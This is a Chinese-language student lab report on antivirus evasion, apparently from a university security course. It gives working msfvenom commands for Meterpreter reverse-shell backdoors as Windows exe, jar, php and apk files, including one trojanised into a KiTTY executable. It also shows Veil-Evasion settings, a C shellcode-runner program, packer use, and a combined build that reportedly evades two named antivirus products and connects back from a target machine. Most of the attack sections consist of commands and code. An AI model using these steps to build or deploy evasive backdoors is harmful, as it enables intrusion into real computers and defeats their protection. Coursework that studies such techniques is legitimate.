[TOC]
一、實驗目標
- 瞭解惡意軟件檢測機制
- 學會使用msf、veil、加殼工具、C+shellcode等方法實現部分免殺
- 通過組合應用各種技術實現惡意代碼免殺
- 掌握將生成的免殺程序注入目標機,並回連成功
二、預備知識
免殺概念
一般是對惡意軟件做處理,讓它不被殺毒軟件所檢測。
惡意軟件檢測機制
- 基於特徵碼的檢測
- 惡意代碼包含這樣的數據
- 正常程序不包含這樣的數據
- AV軟件廠商要做的就是儘量蒐集最全的、最新的特徵碼庫
- 啓發式惡意軟件檢測
- 根據些片面特徵去推斷。通常是因爲缺乏精確判定依據。
- 對惡意軟件檢測來主說,就是如果一個軟件在幹通常是惡意軟件乾的事,看起來了像個惡意軟件,那我們就把它當成一個惡意軟件吧。
- 典型的行爲如連接惡意網站、開放端口、修改系統文件,典型的“外觀”如文件本身簽名、結構、廠商等信息等。各個廠商會定義自己的檢測模式。
- 基於行爲的惡意軟件檢測
從理論上講,基於行爲的檢測相當於是啓發式的一種,或者是加入了行爲監控的啓發式。
免殺原理及技術
- 改變特徵碼
- 只有EXE
- 加殼:壓縮殼 加密殼
- 有shellcode(像Meterpreter)
- 用encode進行編碼
- 基於payload重新編譯生成可執行文件
- 有源代碼
- 用其他語言進行重寫再編譯(veil-evasion)
- 改變行爲
- 通訊方式
- 儘量使用反彈式連接:meterpreter本身即主要使用反彈連接
- 使用隧道技術:如dns2tcp、iodine可將流量封閉爲DNS協議包
- 加密通訊數據:如使用reverse-https進行轉發
- 操作模式
- 基於內存操作:meterpreter是基於內存操作的操作的
- 減少對系統的修改
- 加入混淆作用的正常功能代碼
msf的使用幫助
root @ KaliYL:/ home / YL#msfvenom -p windows / meterpreter / reverse_tcp -x ./KiTTYPortable.exe -e x86 / shikata_ga_nai -i 5 -b'\ x00'LHOST = 192.168.136.131 LPORT = 5313 -f exe> KiTTy_backdoor.exe
- 參數說明:
-p
使用的payload。payload翻譯爲有效載荷,就是被運輸有東西。這裏windows/meterpreter/reverse_tcp就是一段shellcode.-x
使用的可執行文件模板,payload(shellcode)就寫入到這個可執行文件中。-e
使用的編碼器,用於對shellcode變形,爲了免殺。-i
編碼器的迭代次數。如上即使用該編碼器編碼5次。-b
badchar是payload中需要去除的字符。LHOST
是反彈回連的IPLPORT
是回連的端口-f
生成文件的類型>
輸出到哪個文件
三、實驗內容
任務一:正確使用msf編碼器,msfvenom生成如jar之類的其他文件,veil,加殼工具等單一方法實現部分免殺
實驗要求
(1)正確使用msf編碼器
- 使用
msfvenom -l encoders
查看可以用於生成後門的編碼器
- 使用實驗二生成的後門程序,放在VirusTotal上進行掃描,結果如下:
- 將編碼一次生成的後門程序進行掃描,結果如下:
- 將編碼十次生成的後門程序進行掃描,結果如下:
- 結論
- 對比上述三組實驗結果,可知AV廠商研究的是編碼器本身,shikata_ga_nai總會有解碼(decoder stub)部分需要加入的exe中,只要盯住這部分就可以了。
- 還有模板。模板就是msfvenom用來生成最終Exe的那個殼子exe文件,msfvenom會以固定的模板生成exe,所有它生成的exe,如果使用默認參數或模板,也有一定的固定特徵。
- AV廠商還會針對其使用的模板來生成特徵碼,這樣就一勞永逸地解決所有msfvenom生成的惡意代碼了。那如果使用msfvenom免殺,就要使用原生的模板。
(2)msfvenom生成如jar之類的其他文件
- 生成jar文件
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.136.131 lport=5313 x> meter_backdoor_java.jar
- 生成php文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.136.131 LPORT=5313 x> meter_backdoor.php
- 生成apk文件
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.136.131 LPORT=5313 R > meter_backdoor.apk
(3)veil
- 先輸入veil指令,然後用use evasion命令進入Veil-Evasion
- 輸入
use c/meterpreter/rev_tcp.py
進入配置界面 - 設置反彈連接IP
set LHOST 192.168.136.131
- 設置端口
set LPORT 5313
- 查看配置
options
- 輸入generate生成文件,接着輸入生成的文件名
- 驗證生成的文件路徑是否正確
- 掃描結果:
- 騰訊電腦管家查殺結果:
(4)加殼工具
- 壓縮殼
- 加密殼
(5)使用C + shellcode編程
- 使用
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.136.131 LPORT=5313 -f c
用c語言生成一段shellcode; - 創建一個文件20175313zlx.c,然後將unsigned char buf[]賦值到其中,代碼如下:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
...
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
int (*func)() = (int(*)())buf;
func();
}
- 使用命令:i686-w64-mingw32-g++ 20175313zlx.c -o 20175313_backdoor.exe生成可執行文件;
- 騰訊電腦管家和金山毒霸查殺結果:
(6)使用其他課堂未介紹方法
- 生成shellcode
msfvenom -p windows/meterpreter/reverse_https -e x86/xor_dynamic -i 5 -b '\x00' lhost=192.168.87.128 lport=5313 -f c -o shell.c
- c+shellcode用codeblocks編譯,生成.exe
- 壓縮殼
反而變成22/72,也許是壓縮殼upx經常被使用,特徵較爲明顯。
- Windows下軟件查殺
任務二:通過組合應用各種技術實現惡意代碼免殺
- 選擇生成ruby程序
- 進行tcp_ssl連接
- 選擇動態異或編譯器
- 成功實現免殺
- 下載ruby編譯器,編譯生成exe
- 分別下載了金山毒霸和騰訊電腦管家進行測試,結果也都免殺成功。
- 騰訊電腦管家查殺結果:
- 金山毒霸查殺結果:
任務三:將生成的免殺程序注入目標機,並回連成功
- 金山毒霸,版本2017.6.16.18427
- 騰訊電腦管家,版本2.0.6.27
- 回連過程與實驗二類似這裏就不過多敘述,詳情見實驗二.
四、實驗過程中遇到的問題
- 問題:
ip addr
找不到地址
- 解決方法:
- 進入root模式下,輸入
vim /etc/network/interfaces
- 修改配置文件,在文件最後添加
auto eth0
iface eth0 inet dhcp
- 保存並退出後,輸入
/etc/init.d/networking restart
重啓網卡,就解決了。
五、實驗思考
基礎問題回答
(1)殺軟是如何檢測出惡意代碼的?
通過惡意軟件檢測機制,進行檢測。
- 基於特徵碼的檢測
- 啓發式惡意軟件檢測
- 基於行爲的惡意軟件檢測
(2)免殺是做什麼?
免殺就是通過對殺軟檢測惡意代碼的方法進行分析,對惡意軟件做處理,使其避免採用這些方法,從而達到讓它不被殺毒軟件所檢測到的目的。
(3)免殺的基本方法有哪些?
既然殺軟是通過上述惡意軟件檢測機制對惡意代碼進行查殺,那麼要達到免殺必然要對上面的查殺規則進行一定加工,使其無法讓殺軟檢測出這些規則。
- 改變特徵碼
- 只有EXE
- 加殼:壓縮殼 加密殼
- 有shellcode(像Meterpreter)
- 用encode進行編碼
- 基於payload重新編譯生成可執行文件
- 有源代碼
- 用其他語言進行重寫再編譯(veil-evasion)
- 改變行爲
- 通訊方式
- 儘量使用反彈式連接:meterpreter本身即主要使用反彈連接
- 使用隧道技術:如dns2tcp、iodine可將流量封閉爲DNS協議包
- 加密通訊數據:如使用reverse-https進行轉發
- 操作模式
- 基於內存操作:meterpreter是基於內存操作的操作的
- 減少對系統的修改
- 加入混淆作用的正常功能代碼
思考題
開啓殺軟能絕對防止電腦中惡意代碼嗎?
不能。
- 每一款殺毒軟件都是針對一部分惡意代碼進行設計的,對於形形色色的惡意代碼,可能這個殺毒軟件能殺出來,但另一個殺毒軟件就不一定能殺出來,你又不可能把所有殺毒軟件都裝在電腦中。
- 再者說來,殺軟的檢測機制要求其實時更新,而對於一些高級玩家他們寫出的惡意代碼可能不具備這些特徵,殺軟照樣無可奈何。
六、實踐總結與體會
實驗總結
實驗體會
- 本次實驗,主要費時間的就是veil的安裝,以及構造免殺的惡意代碼。
- 對於veil的安裝,我只能說這真的考驗人的耐心。在安裝過程中,我都把一週的毛中特摘抄抄完了……,雖然它就三條指令,但是克隆是真的慢……
- 對於構造免殺代碼,我真的是瞎貓碰上死耗子,這種我覺得也是純粹靠運氣。簡單的不一定就容易被查殺,複雜的也不一定不容易被查殺。就拿我起初構造的免殺代碼來說,簡單c+shellcode,72個查殺出20個;我說加個壓縮殼把,72個查殺出22個;我說再加個加密殼,72個查殺出24個……
- 當然通過本次實驗,又加深了我對惡意代碼的認識,每個實驗都能學到不一樣的東西,學無止境。